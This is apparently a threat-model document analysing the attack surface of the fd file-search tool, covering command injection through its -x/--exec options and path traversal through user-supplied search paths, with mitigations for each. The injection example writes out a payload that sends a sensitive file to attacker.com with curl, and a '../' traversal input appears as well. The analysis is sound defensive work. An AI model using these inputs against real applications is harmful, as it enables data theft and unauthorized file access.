attack-surface.md

Attack Surface Analysis for sharkdp/fd

Attack Surface: Command Injection via -x or --exec

• Description: The ability to inject and execute arbitrary system commands by exploiting insecure handling of user-controlled input when used with fd's -x or --exec options.
• How fd contributes to the attack surface: fd's -x and --exec options are specifically designed to execute external commands based on the files fd finds. This functionality becomes a critical attack vector if the command to be executed, or its arguments, are constructed using unsanitized user input. fd acts as the execution engine for these potentially malicious commands.
• Example: An application allows users to specify a command to process files found by fd. If the application naively constructs the fd -x command by directly embedding user input, a malicious user could input a command like ; curl attacker.com/exfil_data -d "$(cat sensitive_file)" which would be executed by fd for each found file, leading to data exfiltration.
• Impact: Full system compromise, unauthorized data access, data loss, denial of service, privilege escalation. The impact is severe as arbitrary commands can be executed with the privileges of the user running fd.
• Risk Severity: Critical
• Mitigation Strategies:
  • Eliminate the use of -x or --exec with user-controlled input if at all possible. Refactor the application to handle file processing internally, avoiding external command execution via fd.
  • If -x or --exec is absolutely necessary with user input, implement extremely strict input sanitization and validation. Treat all user input as untrusted and rigorously filter or escape any characters or command sequences that could be used for injection.
  • Employ parameterized commands or secure command construction methods. Instead of building command strings, utilize programming language features or libraries that allow for safe execution of commands with arguments passed as separate parameters, preventing shell interpretation and injection.
  • Apply the Principle of Least Privilege: Run the application and fd with the minimum necessary user privileges. This limits the potential damage even if command injection is successful.

Attack Surface: Path Traversal via User-Controlled Search Paths

• Description: Gaining unauthorized access to files and directories outside the intended and authorized scope by manipulating the search path provided to fd using path traversal techniques (e.g., ../).
• How fd contributes to the attack surface: fd directly uses the provided path argument as the starting point for its file system search. If this path is derived from user input without proper validation, fd will operate within the user-controlled path, potentially traversing up and outside of intended directory boundaries. fd's search functionality becomes the tool to access unauthorized areas.
• Example: An application allows users to specify a directory to search within. If the application directly passes this user-provided directory to fd as the search path, a malicious user could input ../../../../sensitive/config to force fd to search within a sensitive configuration directory located outside the intended application scope, potentially revealing confidential configuration files.
• Impact: Information disclosure, unauthorized access to sensitive files and directories, potential for further exploitation if sensitive files are accessed or modified.
• Risk Severity: High
• Mitigation Strategies:
  • Thoroughly validate and sanitize user-provided search paths. Ensure that the provided path is within the expected base directory and does not contain path traversal sequences like ../. Reject any paths that attempt to move outside the allowed scope.
  • Utilize absolute paths for defining base search directories within the application. Define the permitted search scope using absolute paths and strictly constrain user input to operate within this pre-defined scope.
  • Implement robust access control checks within the application itself. Regardless of fd's search capabilities, the application should enforce its own access control policies to ensure users can only access files they are explicitly authorized to view, even if fd lists them in its output due to path traversal.
  • Apply the Principle of Least Privilege (File System Permissions): Configure file system permissions so that even if path traversal occurs, the application (and consequently fd) only has read access to the files and directories that are absolutely necessary for its intended function, minimizing the potential for accessing highly sensitive data.